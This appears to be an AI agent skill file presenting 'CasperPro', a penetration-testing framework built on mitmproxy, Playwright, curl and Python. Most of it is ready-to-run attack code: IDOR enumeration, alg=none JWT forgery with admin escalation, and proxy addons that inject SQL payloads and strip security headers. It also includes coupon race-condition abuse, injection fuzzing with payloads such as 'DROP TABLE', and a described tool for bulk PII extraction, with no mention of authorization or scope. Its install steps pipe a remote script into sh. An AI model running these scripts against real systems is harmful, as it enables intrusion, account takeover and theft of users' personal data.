casperpro

description	Enterprise-grade penetration testing framework using curl + mitmproxy + playwright + python stack for comprehensive web application and API security assessment with traffic interception, browser automation, automated exploitation, WAF bypass, CVSS scoring, and compliance reporting
name	casperpro

CASPERPRO: Enterprise Pentest Stack Framework

Superior Alternative to Burp Suite
Enterprise-grade penetration testing using curl + mitmproxy + playwright + python for comprehensive web/API security assessment with CVSS scoring, compliance mapping, WAF bypass, and full automation capabilities.

What I Do

I am an enterprise-grade penetration testing framework that leverages a powerful open-source stack to conduct professional security assessments. Unlike traditional GUI-based tools, I provide:

• Traffic Interception & Analysis: mitmproxy for capturing, analyzing, and manipulating all HTTP/HTTPS traffic
• Browser Automation: Playwright for realistic browser-based testing with JavaScript execution
• API Discovery & Replay: curl for precise API testing and exploitation
• Advanced Automation: Python for complex attack chains, fuzzing, and data analysis
• Package Management: Use uv for Python package management, uv run for execution
• Full Visibility: Complete request/response capture including hidden APIs, tokens, and session data
• WAF Bypass: Advanced evasion techniques for Cloudflare, AWS WAF, ModSecurity, and more
• CVSS 3.1 Scoring: Automatic severity assessment with full vector calculation
• Compliance Mapping: OWASP Top 10 2021, PCI-DSS 4.0, HIPAA, CWE mapping
• Tool Integration: nuclei, sqlmap, ffuf, interactsh for comprehensive testing

When to Use Me

Use this skill when you need to:

• Discover hidden APIs through traffic interception (GraphQL, REST, WebSocket)
• Capture and replay authentication tokens (JWT, session cookies, OAuth)
• Automate complex multi-step attack chains
• Test JavaScript-heavy single-page applications (SPAs)
• Perform browser-based security testing with real DOM interaction
• Build reusable pentest automation scripts
• Generate comprehensive traffic captures for analysis
• Bypass client-side security controls

I am particularly useful for:

• Modern web applications with complex JavaScript frontends
• GraphQL, WebSocket, and gRPC API security testing
• OAuth/OIDC authentication flow testing
• Session management and token analysis
• Rate limiting and WAF bypass testing
• Business logic vulnerability discovery
• Financial application security (payment tampering, race conditions)
• E-commerce security (cart manipulation, pricing attacks)
• Advanced injection testing (SSRF, deserialization, request smuggling)
• Enterprise compliance assessments (PCI-DSS, HIPAA, SOC2)

Core Stack Components

1. mitmproxy - Traffic Interception Engine

Purpose: Intercept, inspect, modify, and replay HTTP/HTTPS traffic

Capabilities:

• Full HTTPS interception with automatic certificate generation
• Python scripting for custom traffic manipulation
• Request/response modification on-the-fly
• Traffic capture to JSON/HAR for analysis
• WebSocket interception
• HTTP/2 support

Installation:

# macOS
brew install mitmproxy

# Linux/macOS/Windows (via uv)
uv tool install mitmproxy

# Windows (via winget)
winget install mitmproxy

Basic Usage:

# Start proxy on port 8082
mitmdump -p 8082 --set block_global=false

# With custom addon script
mitmdump -p 8082 -s addon.py

# Save traffic to file
mitmdump -p 8082 -w traffic.flow

# Replay captured traffic
mitmdump -p 8082 -r traffic.flow

2. Playwright - Browser Automation Engine

Purpose: Automate browser interactions for realistic testing

Capabilities:

• Chromium, Firefox, WebKit support
• Full JavaScript execution
• Network interception
• Screenshot and video capture
• Mobile device emulation
• Stealth mode to avoid bot detection

Installation:

# Install with uv (REQUIRED)
uv add playwright
uv run playwright install chromium

Basic Usage:

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    # Launch with proxy
    browser = p.chromium.launch(
        proxy={"server": "http://127.0.0.1:8082"},
        headless=False
    )
    page = browser.new_page(ignore_https_errors=True)
    page.goto("https://target.com")
    # Interact with page...

3. curl - API Testing & Replay

Purpose: Precise HTTP requests for API testing and exploitation

Capabilities:

• Full control over request construction
• Cookie and header management
• Certificate handling
• Timing analysis
• Silent operation for scripting

Key Options:

# Basic request with headers
curl -s -X POST "https://api.target.com/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ user { id } }"}'

# Through mitmproxy
curl -s --proxy http://127.0.0.1:8082 -k "https://target.com/api"

# With timing info
curl -s -w "%{time_total}\n" -o /dev/null "https://target.com"

# Save cookies
curl -s -c cookies.txt -b cookies.txt "https://target.com"

4. Python - Automation & Analysis Engine

Purpose: Complex attack automation, data analysis, and scripting

Key Libraries:

# HTTP requests
import urllib.request
import http.client

# JSON processing
import json

# Async operations
import asyncio

# Parallel execution
from concurrent.futures import ThreadPoolExecutor

# Cryptography
import hashlib
import base64
import hmac

# JWT manipulation
# Use PyJWT: uv add pyjwt

Architecture

                                    +-----------------+
                                    |   Target App    |
                                    |   (Web/API)     |
                                    +-----------------+
                                           ^
                                           |
                                           v
+-----------------+              +-----------------+
|   Playwright    |------------->|   mitmproxy     |
|   (Browser)     |   HTTP/S     |   (Intercept)   |
+-----------------+              +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |  Python Addon   |
                                 |  - Capture      |
                                 |  - Analyze      |
                                 |  - Modify       |
                                 +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |     curl        |
                                 |   (Replay)      |
                                 +-----------------+
                                           |
                                           v
                                 +-----------------+
                                 |  Python Script  |
                                 |  - Automate     |
                                 |  - Fuzz         |
                                 |  - Report       |
                                 +-----------------+

Testing Workflow

Phase 1: Discovery with mitmproxy + Playwright

Step 1: Create mitmproxy capture addon

# /tmp/mitm_capture.py
import json
import mitmproxy.http

class CaptureAddon:
    def __init__(self):
        self.requests = []
        self.responses = []
    
    def request(self, flow: mitmproxy.http.HTTPFlow):
        req_data = {
            "url": flow.request.pretty_url,
            "method": flow.request.method,
            "headers": dict(flow.request.headers),
            "body": flow.request.get_text() if flow.request.content else None
        }
        self.requests.append(req_data)
        
        # Save incrementally
        with open("/tmp/mitm_requests.json", "w") as f:
            json.dump(self.requests, f, indent=2)
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        resp_data = {
            "url": flow.request.pretty_url,
            "status": flow.response.status_code,
            "headers": dict(flow.response.headers),
            "body": flow.response.get_text() if flow.response.content else None
        }
        self.responses.append(resp_data)
        
        # Save incrementally
        with open("/tmp/mitm_responses.json", "w") as f:
            json.dump(self.responses, f, indent=2)
        
        # Log interesting findings
        if "token" in str(flow.response.headers).lower():
            print(f"[!] TOKEN FOUND: {flow.request.pretty_url}")
        if "graphql" in flow.request.pretty_url.lower():
            print(f"[!] GRAPHQL: {flow.request.pretty_url}")

addons = [CaptureAddon()]

Step 2: Start mitmproxy with addon

mitmdump -p 8082 --set block_global=false -s /tmp/mitm_capture.py

Step 3: Automate browser interaction with Playwright

# /tmp/discover.py
from playwright.sync_api import sync_playwright
import time

TARGET = "https://target.com"
USERNAME = "testuser"
PASSWORD = "testpass"

with sync_playwright() as p:
    browser = p.chromium.launch(
        proxy={"server": "http://127.0.0.1:8082"},
        headless=False
    )
    context = browser.new_context(ignore_https_errors=True)
    page = context.new_page()
    
    # Navigate and login
    page.goto(f"{TARGET}/login")
    page.fill('input[name="email"]', USERNAME)
    page.fill('input[name="password"]', PASSWORD)
    page.click('button[type="submit"]')
    page.wait_for_load_state("networkidle")
    
    # Exercise application functionality
    page.goto(f"{TARGET}/dashboard")
    page.wait_for_load_state("networkidle")
    
    page.goto(f"{TARGET}/profile")
    page.wait_for_load_state("networkidle")
    
    page.goto(f"{TARGET}/settings")
    page.wait_for_load_state("networkidle")
    
    # Capture cookies and storage
    cookies = context.cookies()
    storage = page.evaluate("() => JSON.stringify(localStorage)")
    
    print(f"Cookies: {cookies}")
    print(f"LocalStorage: {storage}")
    
    # Screenshot
    page.screenshot(path="/tmp/discovery.png")
    
    browser.close()

Step 4: Run discovery

uv run /tmp/discover.py

Phase 2: Analysis

Analyze captured traffic:

# View captured requests
cat /tmp/mitm_requests.json | jq '.[] | select(.url | contains("api"))'

# Find GraphQL endpoints
cat /tmp/mitm_requests.json | jq '.[] | select(.url | contains("graphql"))'

# Extract authorization headers
cat /tmp/mitm_requests.json | jq '.[] | .headers | to_entries[] | select(.key | test("auth|token|cookie"; "i"))'

# Find interesting endpoints
cat /tmp/mitm_requests.json | jq -r '.[] | .url' | sort -u | grep -E "(admin|user|account|api)"

Phase 3: Exploitation with curl

Replay captured requests:

# Extract token from captured data
TOKEN=$(cat /tmp/mitm_requests.json | jq -r '.[] | .headers["Authorization"] // .headers["authorization"]' | grep -v null | head -1)

# Test IDOR
for id in {1..100}; do
  echo -n "Testing ID $id: "
  curl -s -H "Authorization: $TOKEN" \
    "https://target.com/api/users/$id" | jq -r '.email // "denied"'
done

# Test GraphQL (discovered via mitmproxy)
curl -s -X POST "https://api.target.com/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{"query":"{ allUsers { id email role } }"}' | jq .

# Test authorization bypass
curl -s -H "Authorization: Bearer null" "https://target.com/api/admin"
curl -s -H "Authorization: Bearer undefined" "https://target.com/api/admin"
curl -s "https://target.com/api/admin"  # No auth header

Phase 4: Automated Exploitation with Python

Create exploitation script:

# /tmp/exploit.py
import subprocess
import json
import concurrent.futures

# Load discovered endpoints
with open("/tmp/mitm_requests.json") as f:
    requests = json.load(f)

# Extract unique API endpoints
endpoints = list(set(r["url"] for r in requests if "/api/" in r["url"]))
print(f"[*] Found {len(endpoints)} API endpoints")

# Extract token
token = None
for r in requests:
    if "Authorization" in r.get("headers", {}):
        token = r["headers"]["Authorization"]
        break

print(f"[*] Using token: {token[:50]}...")

# IDOR Testing
def test_idor(endpoint, original_id, test_id):
    test_url = endpoint.replace(str(original_id), str(test_id))
    result = subprocess.run([
        "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
        "-H", f"Authorization: {token}",
        test_url
    ], capture_output=True, text=True)
    return test_url, result.stdout

# Find endpoints with IDs
id_endpoints = [e for e in endpoints if any(c.isdigit() for c in e)]

print(f"[*] Testing {len(id_endpoints)} endpoints for IDOR")
for endpoint in id_endpoints:
    # Extract the ID from URL
    import re
    ids = re.findall(r'/(\d+)', endpoint)
    if ids:
        original_id = ids[0]
        for test_id in range(int(original_id) - 5, int(original_id) + 5):
            if test_id != int(original_id) and test_id > 0:
                url, status = test_idor(endpoint, original_id, test_id)
                if status == "200":
                    print(f"[!] POTENTIAL IDOR: {url} returned {status}")

# Parallel fuzzing
def fuzz_endpoint(endpoint):
    payloads = ["'", "1 OR 1=1", "{{7*7}}", "${7*7}", "$(id)"]
    results = []
    for payload in payloads:
        test_url = f"{endpoint}?test={payload}"
        result = subprocess.run([
            "curl", "-s", "-H", f"Authorization: {token}", test_url
        ], capture_output=True, text=True)
        if any(x in result.stdout.lower() for x in ["error", "exception", "49", "syntax"]):
            results.append((test_url, payload, result.stdout[:200]))
    return results

print(f"\n[*] Fuzzing endpoints...")
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    futures = {executor.submit(fuzz_endpoint, e): e for e in endpoints[:20]}
    for future in concurrent.futures.as_completed(futures):
        results = future.result()
        for url, payload, response in results:
            print(f"[!] POTENTIAL VULN: {url}")
            print(f"    Payload: {payload}")
            print(f"    Response: {response[:100]}...")

Comparison with Burp Suite

Capability	CasperPro Stack	Burp Suite Pro
Proxy/Intercept	mitmproxy (Python scripting)	Built-in (Java)
Repeater	curl / Python	Built-in GUI
Intruder/Fuzzing	Python + ffuf/wfuzz	Built-in
Scanner (Passive)	mitmproxy addon + rules	Built-in
Scanner (Active)	nuclei / sqlmap / dalfox	Built-in
Spider/Crawler	Playwright + scripts	Built-in
Browser Automation	Playwright (superior)	Embedded browser
Collaborator (OOB)	interactsh (free)	Built-in
Scripting	Python (native, flexible)	Java extensions
Automation	Full CLI automation	Limited
CI/CD Integration	Native	Difficult
Cost	Free	$449+/year
JavaScript Execution	Real browser (Playwright)	Limited

Burp Suite Feature Equivalence with mitmproxy

mitmproxy with custom Python addons provides 90-95% coverage of Burp Suite Pro capabilities. This section documents the exact mappings and pre-built scripts.

Feature Mapping Table

Burp Suite Feature	mitmproxy Equivalent	Hook/Method	Implementation Details
Proxy/Intercept	request() hook	flow.request	Modify requests before forwarding to server
Response Modification	response() hook	flow.response	Modify responses before returning to client
HTTP History	Custom addon with list	self.history.append(flow)	Store flows in memory or JSON file
Repeater	flow.replay() or curl	ctx.master.commands.call("replay.client", [flow])	Replay any captured request
Intruder (Sniper)	Payload loop addon	Iterate payloads on single position	Replace one parameter at a time
Intruder (Battering Ram)	Payload loop addon	Same payload all positions	Replace all marked positions simultaneously
Intruder (Pitchfork)	Multi-list iteration	Parallel payload lists	Iterate multiple lists in lockstep
Intruder (Cluster Bomb)	Nested loops	Cartesian product	All combinations of payload lists
Match & Replace	re.sub() in hooks	Regex substitution	Pattern-based request/response modification
Target Scope	URL pattern matching	flow.request.pretty_url	Filter by domain/path regex
Scanner (Passive)	Pattern detection addon	Response analysis	Detect sensitive data, errors, tokens
Scanner (Active)	Payload injection addon	Request modification	Inject and analyze responses
Decoder	Python base64/urllib	Native Python	Full encoding/decoding support
Comparer	Python difflib	difflib.unified_diff()	Compare requests/responses
Sequencer	Token extraction addon	Statistical analysis	Entropy and randomness testing
Collaborator	interactsh	External OOB service	Free alternative for OOB testing

Pre-built Scripts

The scripts/ directory contains ready-to-use mitmproxy addons that replicate Burp Suite functionality:

burp_equivalent.py

Full Burp Suite equivalent with:

• Scope filtering (domain/path patterns)
• Intercept rules (pause matching requests)
• Match & Replace (regex-based modification)
• HTTP History (JSON logging)
• Request/Response inspection

# Start with Burp-equivalent features
mitmdump -p 8082 -s scripts/burp_equivalent.py

intruder_addon.py

Automated payload fuzzing equivalent to Burp Intruder:

• Sniper mode (single position)
• Battering Ram mode (all positions same payload)
• Built-in payload sets: SQL injection, NoSQL injection, IDOR sequences
• Response analysis and anomaly detection

# Run Intruder-style fuzzing
mitmdump -p 8082 -s scripts/intruder_addon.py

live_intercept.py

Real-time interception and modification:

• Credential capture (password fields, API keys)
• JWT token replacement on-the-fly
• SQL injection payload injection
• PII detection in responses
• Automatic logging of sensitive data

# Start live interception
mitmdump -p 8082 -s scripts/live_intercept.py

jwt_forge.py

JWT token forgery utility supporting:

• HS256/HS512 secret cracking and signing
• None algorithm bypass
• Key ID (kid) path traversal attacks
• Arbitrary claim modification

# Forge JWT tokens
uv run scripts/jwt_forge.py --email [e-mail] --secret crapi

pii_extractor.py

Extract user PII using forged JWT tokens:

• Automated account enumeration
• Vehicle/location data extraction
• Credit balance retrieval
• Bulk data export

# Extract PII using forged tokens
uv run scripts/pii_extractor.py --target https://api.example.com

Real-time Interception Example

The key insight is that mitmproxy's request() and response() hooks provide the same real-time modification capability as Burp's Intercept:

# Real-time request interception (equivalent to Burp Intercept)
import mitmproxy.http
import json

class RealTimeIntercept:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        # BEFORE request reaches server - modify anything
        
        # 1. Escalate privileges
        if flow.request.method == "POST" and "role" in flow.request.get_text():
            body = json.loads(flow.request.get_text())
            body["role"] = "admin"
            flow.request.set_text(json.dumps(body))
            
        # 2. Replace JWT token
        if "Authorization" in flow.request.headers:
            flow.request.headers["Authorization"] = "Bearer " + self.forged_token
            
        # 3. Inject payloads
        if "id=" in flow.request.pretty_url:
            flow.request.url = flow.request.url.replace("id=1", "id=1' OR '1'='1")
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        # BEFORE response reaches client - modify anything
        
        # 1. Remove security headers
        for header in ["X-Frame-Options", "Content-Security-Policy"]:
            if header in flow.response.headers:
                del flow.response.headers[header]
        
        # 2. Extract sensitive data
        if "password" in flow.response.get_text().lower():
            print(f"[!] Password found in response: {flow.request.pretty_url}")

addons = [RealTimeIntercept()]

Advantages Over Burp Suite

Aspect	mitmproxy + Python	Burp Suite Pro
Cost	Free & Open Source	$449+/year
Automation	Native Python scripting	Limited Java extensions
CI/CD Integration	CLI-first, easy	Difficult
Customization	Full Python ecosystem	Constrained API
Scalability	Scriptable, parallelizable	Single instance
Learning Curve	Python knowledge	Burp-specific
Headless Operation	Native (mitmdump)	Requires X11/VNC

Advanced Techniques

1. Real-time Traffic Modification

# /tmp/mitm_modify.py
import mitmproxy.http
import json

class ModifyAddon:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        # Escalate privileges
        if "role" in flow.request.get_text():
            body = json.loads(flow.request.get_text())
            body["role"] = "admin"
            flow.request.set_text(json.dumps(body))
            print(f"[*] Modified role to admin: {flow.request.pretty_url}")
        
        # Add auth header to all requests
        flow.request.headers["X-Forwarded-For"] = "127.0.0.1"
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        # Remove security headers
        if "X-Frame-Options" in flow.response.headers:
            del flow.response.headers["X-Frame-Options"]
        if "Content-Security-Policy" in flow.response.headers:
            del flow.response.headers["Content-Security-Policy"]

addons = [ModifyAddon()]

2. JWT Token Manipulation

# /tmp/jwt_attack.py
import base64
import json
import subprocess

def decode_jwt(token):
    parts = token.split(".")
    header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
    return header, payload

def forge_jwt_none(payload):
    header = {"alg": "none", "typ": "JWT"}
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=").decode()
    p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=").decode()
    return f"{h}.{p}."

# Read captured token
with open("/tmp/mitm_requests.json") as f:
    requests = json.load(f)

for r in requests:
    auth = r.get("headers", {}).get("Authorization", "")
    if auth.startswith("Bearer ey"):
        token = auth.replace("Bearer ", "")
        header, payload = decode_jwt(token)
        print(f"[*] Original JWT:")
        print(f"    Header: {header}")
        print(f"    Payload: {payload}")
        
        # Modify payload
        payload["role"] = "admin"
        payload["is_admin"] = True
        
        # Create forged token
        forged = forge_jwt_none(payload)
        print(f"[*] Forged JWT (alg=none): {forged}")
        
        # Test forged token
        result = subprocess.run([
            "curl", "-s", "-H", f"Authorization: Bearer {forged}",
            "https://target.com/api/admin"
        ], capture_output=True, text=True)
        print(f"[*] Response: {result.stdout[:200]}")

3. Race Condition Testing

# /tmp/race_condition.py
import subprocess
import concurrent.futures
import time

TARGET = "https://target.com/api/redeem-coupon"
TOKEN = "Bearer eyJ..."
COUPON = "DISCOUNT50"

def make_request():
    result = subprocess.run([
        "curl", "-s", "-X", "POST",
        "-H", f"Authorization: {TOKEN}",
        "-H", "Content-Type: application/json",
        "-d", f'{{"coupon": "{COUPON}"}}',
        TARGET
    ], capture_output=True, text=True)
    return result.stdout

print(f"[*] Testing race condition on {TARGET}")
print(f"[*] Sending 20 parallel requests...")

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
    start = time.time()
    futures = [executor.submit(make_request) for _ in range(20)]
    results = [f.result() for f in concurrent.futures.as_completed(futures)]
    elapsed = time.time() - start

print(f"[*] Completed in {elapsed:.2f}s")
success_count = sum(1 for r in results if "success" in r.lower())
print(f"[*] Successful redemptions: {success_count}")
if success_count > 1:
    print("[!] RACE CONDITION CONFIRMED - Coupon redeemed multiple times!")

4. GraphQL Introspection & Exploitation

# Full introspection query
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{types{name kind fields{name type{name kind ofType{name}}}}}}"}' | \
  jq '.data.__schema.types[] | select(.kind == "OBJECT") | {name, fields: [.fields[]?.name]}' > /tmp/schema.json

# Find sensitive mutations
cat /tmp/schema.json | jq 'select(.name | test("Mutation|Admin|User"; "i"))'

# Test for disabled introspection bypass
curl -s -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__type(name:\"User\"){fields{name}}}"}' | jq .

Complete Pentest Script

#!/usr/bin/env python3
# /tmp/casperpro_pentest.py
"""
CasperPro Complete Pentest Automation Script
Uses: mitmproxy + playwright + curl + python
"""

import subprocess
import json
import os
import time
import sys
from pathlib import Path

class CasperProPentest:
    def __init__(self, target, proxy_port=8082):
        self.target = target
        self.proxy_port = proxy_port
        self.output_dir = Path("/tmp/casperpro_output")
        self.output_dir.mkdir(exist_ok=True)
        
    def start_proxy(self):
        """Start mitmproxy with capture addon"""
        addon_script = self.output_dir / "addon.py"
        addon_script.write_text('''
import json
import mitmproxy.http

class CaptureAddon:
    def __init__(self):
        self.data = {"requests": [], "responses": []}
    
    def request(self, flow: mitmproxy.http.HTTPFlow):
        self.data["requests"].append({
            "url": flow.request.pretty_url,
            "method": flow.request.method,
            "headers": dict(flow.request.headers),
            "body": flow.request.get_text() if flow.request.content else None
        })
        self._save()
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        self.data["responses"].append({
            "url": flow.request.pretty_url,
            "status": flow.response.status_code,
            "headers": dict(flow.response.headers),
            "body_length": len(flow.response.content) if flow.response.content else 0
        })
        self._save()
    
    def _save(self):
        with open("/tmp/casperpro_output/traffic.json", "w") as f:
            json.dump(self.data, f, indent=2)

addons = [CaptureAddon()]
''')
        print(f"[*] Starting mitmproxy on port {self.proxy_port}...")
        self.proxy_proc = subprocess.Popen([
            "mitmdump", "-p", str(self.proxy_port),
            "--set", "block_global=false",
            "-s", str(addon_script)
        ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(2)
        print("[+] Proxy started")
    
    def stop_proxy(self):
        """Stop mitmproxy"""
        if hasattr(self, 'proxy_proc'):
            self.proxy_proc.terminate()
            print("[*] Proxy stopped")
    
    def discover(self, login_func=None):
        """Run Playwright discovery"""
        script = f'''
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(
        proxy={{"server": "http://127.0.0.1:{self.proxy_port}"}},
        headless=True
    )
    context = browser.new_context(ignore_https_errors=True)
    page = context.new_page()
    
    page.goto("{self.target}")
    page.wait_for_load_state("networkidle")
    
    # Get all links
    links = page.eval_on_selector_all("a[href]", "els => els.map(e => e.href)")
    
    # Visit each link
    for link in links[:20]:
        if "{self.target}" in link:
            try:
                page.goto(link, timeout=5000)
                page.wait_for_load_state("networkidle", timeout=3000)
            except:
                pass
    
    browser.close()
'''
        script_path = self.output_dir / "discover.py"
        script_path.write_text(script)
        print("[*] Running discovery with Playwright...")
        subprocess.run(["uv", "run", str(script_path)], capture_output=True)
        print("[+] Discovery complete")
    
    def analyze(self):
        """Analyze captured traffic"""
        traffic_file = self.output_dir / "traffic.json"
        if not traffic_file.exists():
            print("[-] No traffic captured")
            return {}
        
        with open(traffic_file) as f:
            traffic = json.load(f)
        
        analysis = {
            "total_requests": len(traffic["requests"]),
            "api_endpoints": [],
            "auth_tokens": [],
            "interesting_params": []
        }
        
        for req in traffic["requests"]:
            url = req["url"]
            
            # Find API endpoints
            if any(x in url.lower() for x in ["/api/", "graphql", "/v1/", "/v2/"]):
                analysis["api_endpoints"].append({
                    "url": url,
                    "method": req["method"]
                })
            
            # Extract auth tokens
            for key, value in req.get("headers", {}).items():
                if any(x in key.lower() for x in ["auth", "token", "cookie"]):
                    analysis["auth_tokens"].append({
                        "header": key,
                        "value": value[:100] + "..." if len(value) > 100 else value
                    })
        
        # Save analysis
        analysis_file = self.output_dir / "analysis.json"
        with open(analysis_file, "w") as f:
            json.dump(analysis, f, indent=2)
        
        print(f"[+] Analysis complete:")
        print(f"    Total requests: {analysis['total_requests']}")
        print(f"    API endpoints: {len(analysis['api_endpoints'])}")
        print(f"    Auth tokens found: {len(analysis['auth_tokens'])}")
        
        return analysis
    
    def test_idor(self, endpoints, token):
        """Test for IDOR vulnerabilities"""
        print("[*] Testing for IDOR vulnerabilities...")
        findings = []
        
        for ep in endpoints:
            url = ep["url"]
            # Find numeric IDs in URL
            import re
            ids = re.findall(r'/(\d+)', url)
            
            for orig_id in ids:
                for test_id in [int(orig_id) - 1, int(orig_id) + 1, 1, 999999]:
                    if test_id <= 0 or str(test_id) == orig_id:
                        continue
                    
                    test_url = url.replace(f"/{orig_id}", f"/{test_id}")
                    result = subprocess.run([
                        "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                        "-H", f"Authorization: {token}",
                        test_url
                    ], capture_output=True, text=True)
                    
                    if result.stdout == "200":
                        findings.append({
                            "type": "IDOR",
                            "original_url": url,
                            "test_url": test_url,
                            "severity": "HIGH"
                        })
                        print(f"[!] IDOR FOUND: {test_url}")
        
        return findings
    
    def test_injection(self, endpoints, token):
        """Test for injection vulnerabilities"""
        print("[*] Testing for injection vulnerabilities...")
        findings = []
        
        payloads = {
            "sqli": ["'", "1' OR '1'='1", "1; DROP TABLE users--"],
            "xss": ["<script>alert(1)</script>", "{{7*7}}"],
            "cmdi": ["; id", "| id", "$(id)"]
        }
        
        for ep in endpoints[:10]:  # Limit to first 10
            url = ep["url"]
            
            for vuln_type, tests in payloads.items():
                for payload in tests:
                    test_url = f"{url}?test={payload}"
                    result = subprocess.run([
                        "curl", "-s",
                        "-H", f"Authorization: {token}",
                        test_url
                    ], capture_output=True, text=True)
                    
                    # Check for vulnerability indicators
                    indicators = {
                        "sqli": ["sql", "syntax", "mysql", "postgresql"],
                        "xss": ["<script>", "alert(1)"],
                        "cmdi": ["uid=", "gid=", "root"]
                    }
                    
                    if any(i in result.stdout.lower() for i in indicators.get(vuln_type, [])):
                        findings.append({
                            "type": vuln_type.upper(),
                            "url": test_url,
                            "payload": payload,
                            "severity": "CRITICAL"
                        })
                        print(f"[!] {vuln_type.upper()} FOUND: {url} with payload {payload}")
        
        return findings
    
    def generate_report(self, findings):
        """Generate pentest report"""
        report = {
            "target": self.target,
            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
            "findings": findings,
            "summary": {
                "critical": len([f for f in findings if f.get("severity") == "CRITICAL"]),
                "high": len([f for f in findings if f.get("severity") == "HIGH"]),
                "medium": len([f for f in findings if f.get("severity") == "MEDIUM"]),
                "low": len([f for f in findings if f.get("severity") == "LOW"])
            }
        }
        
        report_file = self.output_dir / "report.json"
        with open(report_file, "w") as f:
            json.dump(report, f, indent=2)
        
        print(f"\n[+] Report generated: {report_file}")
        print(f"    Critical: {report['summary']['critical']}")
        print(f"    High: {report['summary']['high']}")
        print(f"    Medium: {report['summary']['medium']}")
        print(f"    Low: {report['summary']['low']}")
        
        return report
    
    def run(self):
        """Run complete pentest"""
        print(f"[*] CasperPro Pentest - Target: {self.target}")
        print("=" * 60)
        
        try:
            # Phase 1: Discovery
            self.start_proxy()
            self.discover()
            
            # Phase 2: Analysis
            analysis = self.analyze()
            
            # Phase 3: Testing
            findings = []
            
            if analysis.get("api_endpoints"):
                token = ""
                if analysis.get("auth_tokens"):
                    token = analysis["auth_tokens"][0].get("value", "")
                
                findings.extend(self.test_idor(analysis["api_endpoints"], token))
                findings.extend(self.test_injection(analysis["api_endpoints"], token))
            
            # Phase 4: Reporting
            self.generate_report(findings)
            
        finally:
            self.stop_proxy()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    
    pentest = CasperProPentest(sys.argv[1])
    pentest.run()

Tool Requirements

Required

• uv - Python package manager (curl -LsSf https://astral.sh/uv/install.sh | sh or winget install astral-sh.uv)
• mitmproxy - Traffic interception (brew install mitmproxy or uv tool install mitmproxy)
• playwright - Browser automation (uv add playwright && uv run playwright install)
• curl - HTTP client (pre-installed on most systems)
• jq - JSON processor (brew install jq)
• Python 3.9+ - Scripting (managed via uv)

IMPORTANT: All Python package management MUST use uv. Never use pip directly.

Recommended (Enterprise Features)

• nuclei - Vulnerability scanner (brew install nuclei)
• ffuf - Fast fuzzer (brew install ffuf)
• sqlmap - SQL injection (brew install sqlmap)
• interactsh - OOB testing (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)

Complete Enterprise Installation

# macOS (Homebrew)
brew install mitmproxy jq nuclei ffuf sqlmap

# Python packages (using uv)
uv add playwright mitmproxy pyjwt

# Install browser
uv run playwright install chromium

# interactsh (requires Go)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Verify installation
mitmdump --version
nuclei -version
ffuf -V
sqlmap --version
interactsh-client -version

Linux Installation

# Debian/Ubuntu - Install system dependencies
sudo apt update && sudo apt install -y jq curl

# Install uv (Python package manager)
curl -LsSf https://astral.sh/uv/install.sh | sh
source ~/.bashrc  # or restart terminal

# Initialize project and install Python packages
uv init casper-pentest && cd casper-pentest
uv add mitmproxy playwright pyjwt aiohttp

# Install mitmproxy as global tool
uv tool install mitmproxy

# Install Playwright browsers
uv run playwright install chromium

# Security tools via Go
GO111MODULE=on go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install -v github.com/ffuf/ffuf/v2@latest
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# sqlmap (clone repo, run with uv)
git clone https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap
alias sqlmap="uv run ~/tools/sqlmap/sqlmap.py"

Windows Installation (PowerShell 7+)

# Install PowerShell 7 if needed
winget install Microsoft.PowerShell

# Install uv (Python package manager) - REQUIRED
winget install astral-sh.uv

# Core tools
winget install mitmproxy.mitmproxy
winget install jqlang.jq

# Initialize project and install Python packages with uv
uv init casper-pentest
Set-Location casper-pentest
uv add mitmproxy playwright pyjwt aiohttp

# Install mitmproxy as global tool
uv tool install mitmproxy

# Playwright browsers
uv run playwright install chromium

# Security tools (download to ~/tools)
$toolsDir = "$env:USERPROFILE\tools"
New-Item -ItemType Directory -Path $toolsDir -Force

# nuclei
Invoke-WebRequest -Uri "https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip" -OutFile "$env:TEMP\nuclei.zip"
Expand-Archive -Path "$env:TEMP\nuclei.zip" -DestinationPath "$toolsDir\nuclei" -Force

# ffuf
Invoke-WebRequest -Uri "https://github.com/ffuf/ffuf/releases/latest/download/ffuf_windows_amd64.zip" -OutFile "$env:TEMP\ffuf.zip"
Expand-Archive -Path "$env:TEMP\ffuf.zip" -DestinationPath "$toolsDir\ffuf" -Force

# sqlmap (clone and run with uv)
git clone https://github.com/sqlmapproject/sqlmap.git "$toolsDir\sqlmap"

# Add to PATH
$env:Path += ";$toolsDir\nuclei;$toolsDir\ffuf"
